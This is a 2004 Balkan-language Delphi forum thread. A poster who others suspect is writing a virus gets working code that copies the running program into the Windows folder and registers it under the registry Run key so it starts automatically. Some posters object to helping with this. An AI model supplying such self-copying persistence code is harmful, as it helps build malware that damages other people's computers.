[ 0cool @ 25.10.2004. 14:26 ] @
Ako neko moze da mi kaze kako da naredim programu da kopira file u odredjen folder i da ga startuje?
[ Slavisa @ 25.10.2004. 15:48 ] @
Valjda si htio da pitas kako da napises program koji kopira fajl u neki folder i onda ga pokrece :)

Code:

procedure TForm1.Button1Click(Sender: TObject);
begin
  CopyFile('c:\windows\system32\notepad.exe', 'c:\editor.exe', TRUE);
  ShellExecute(Handle, 'open', 'c:\editor.exe', nil, nil, SW_RESTORE);
end;


Da bi mogao da koristis funkciju ShellExecute moras ukljuciti ShellAPI unit.

Code:

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellAPI;

[ 0cool @ 25.10.2004. 19:41 ] @
Pa da to je to samo sto treba da kopirana samog sebe u neki folder, moze random i da se startuje.
Da li je to moguce?
[ morlic @ 25.10.2004. 19:51 ] @
Pa... ako pises virus svasta je moguce...
[ 0cool @ 25.10.2004. 20:08 ] @
Jooj kako je ovo sugavo, moram da odrzavam konekciju zivom da se nebi ukovala.
Ako se ukuje *ebi se!

Nego sta treba da se stavi u source path da prog sam sebe kopira u neki folder bez obzira gde je prog stavljen?
[ Slavisa @ 25.10.2004. 20:20 ] @
Heh, naughty boy ;)

Code:

procedure TForm1.Button1Click(Sender: TObject);
var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;
begin
  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;
end;


... i jos moras imati Uses Registry;

Code:

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Registry;
[ 0cool @ 25.10.2004. 20:29 ] @
Mnogo hvala nego jos jedna stvar
Za koji je ovo Delphi?
Meni treba za 6-icu.
I jos nesto kod procedure TForm1.Button1Click(Sender: TObject):
kaze da treba da se prva tackica promeni u ; a kad to uradim kaze da ne prepoznaje direktivu Button1Click i umesto prve zagrade ocekuje deklaraciju...
Moze pomoc?
[ Slavisa @ 25.10.2004. 20:48 ] @
Za 6 i 7. Ako ti treba za ranije verzije umjesto PAnsiChar stavi PChar.
Nesto si ubrljavio, zalijepi citav src.
[ 0cool @ 25.10.2004. 20:55 ] @
ma opet isto
ocekuje ; umesto . a kad zamenim ne prepoznaje Button1Click
[ Slavisa @ 25.10.2004. 21:20 ] @
Kreiraj novi projekat i dvoklikni na formu, zatim izmedju begin i end zalijepi:

Code:

  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;


... a onda izmedju procedure i begin zalijepi:

Code:

var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;


Na kraju skroluj do vrha gdje ti se nalazi Uses klauzula i dodaj ,Registry prije znaka ; tako da imas bla, blam, blah, Registry;

[Ovu poruku je menjao VRKY dana 20.04.2005. u 17:56 GMT+1]
[ broker @ 25.10.2004. 21:23 ] @
Slavisa ti si bas dokon....
[ Slavisa @ 25.10.2004. 21:38 ] @
Mozda ces ovako lakse da skontas:

Code:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Registry;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
var
  WinDir : String;
  outfile : String;
  Reg : TRegistry;
begin
  SetLength(WinDir, 255);
  GetWindowsDirectory(PAnsiChar(WinDir), 255);
  WinDir := PAnsiChar(WinDir);
  outfile := WinDir + '\hihi.exe';
  CopyFile(PAnsiChar(ParamStr(0)), PAnsiChar(outfile), TRUE);

  Reg := TRegistry.Create();
  try
    Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', FALSE);
    Reg.WriteString('hihi', outfile);
    Reg.CloseKey();
  finally
    Reg.Free();
  end;
end;

end.

[ reiser @ 25.10.2004. 21:39 ] @
Ako pokusavas da pises virus a ne znas neke osnove bolje batali...
Onu gresku ti verovatno javlja zato sto nemas TButton objekat cije je ime Button1 zalepljeno na formu...
[ Slavisa @ 25.10.2004. 21:51 ] @
Pa kad je samo Copy/Paste citav kod ko zna gdje ... :)
[ Rapaic Rajko @ 27.10.2004. 07:45 ] @
More, ako pise virus DOBICE PREKO NOSA MU NEPISMENOG, BRE! MARS SA FORUMA!

Admin, zahtevam da se ovakve poruke sankcionisu, u cemu je razlika izmedju pisanja virusa i nelegalnog kopiranja programa, muzike i ostalih mutnih radnji?
Ja cu vam reci: 'mutne radnje' potkradaju jednog pojedinca ili firmu, ali virusi nanose ogromnu stetu CITAVOJ racunarskoj populaciji.
Da li vam se desilo da vas odjednom lavina klijenata zove na teren 'jer vas program nece da radi'? Ja sam isao za racun moje firme i nalazio viruse/crve i ko zna sta jos, ali niko nije nadoknadio izgubljeno vreme i novac, ni moje firme ni klijenata.
Pozdrav adminu

Rajko
[ Slavisa @ 27.10.2004. 11:36 ] @
Pusti coeka nek uci.
[ broker @ 27.10.2004. 14:41 ] @
Ma najgore je sto ce Slavisa da mu napise ceo program jer ovaj izgleda i ne zna nista o Delphi-ju.